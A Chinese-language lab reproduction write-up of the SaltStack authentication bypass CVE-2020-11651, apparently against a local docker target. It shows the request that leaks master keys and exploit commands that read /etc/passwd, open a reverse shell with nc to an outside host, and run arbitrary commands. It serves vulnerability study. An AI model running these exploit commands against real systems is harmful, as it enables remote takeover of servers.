SaltStack 水平权限绕过漏洞(CVE-2020-11651)

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

参考链接:

漏洞复现

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

复现CVE-2020-11651漏洞,我们可以使用如下请求来执行salt/master.py中的ClearFuncs:_prep_auth_info方法:

1
{'cmd': '_prep_auth_info'}

利用这个方法,可以获得目标的所有用户的key,利用这个key即可通过超级管理员权限执行一些后台功能,比如下发任务等。

使用这个POC,执行前需要安装salt库,需指定salt库版本:

1
pip3 install salt==2019.2.3

读取文件:

1
python3 CVE-2020-11651.py --master 192.168.44.132 -r /etc/passwd

image-20211216135348541

反弹shell,docker中无nc未复现:

1
python3 CVE-2020-11651.py --master 192.168.44.132 --exec "nc 192.168.44.1 4444 -e /bin/sh"

执行命令,创建/tmp/success文件:

1
python3 CVE-2020-11651.py --master 192.168.44.132 --exec "touch /tmp/success"

image-20211216140554349

0%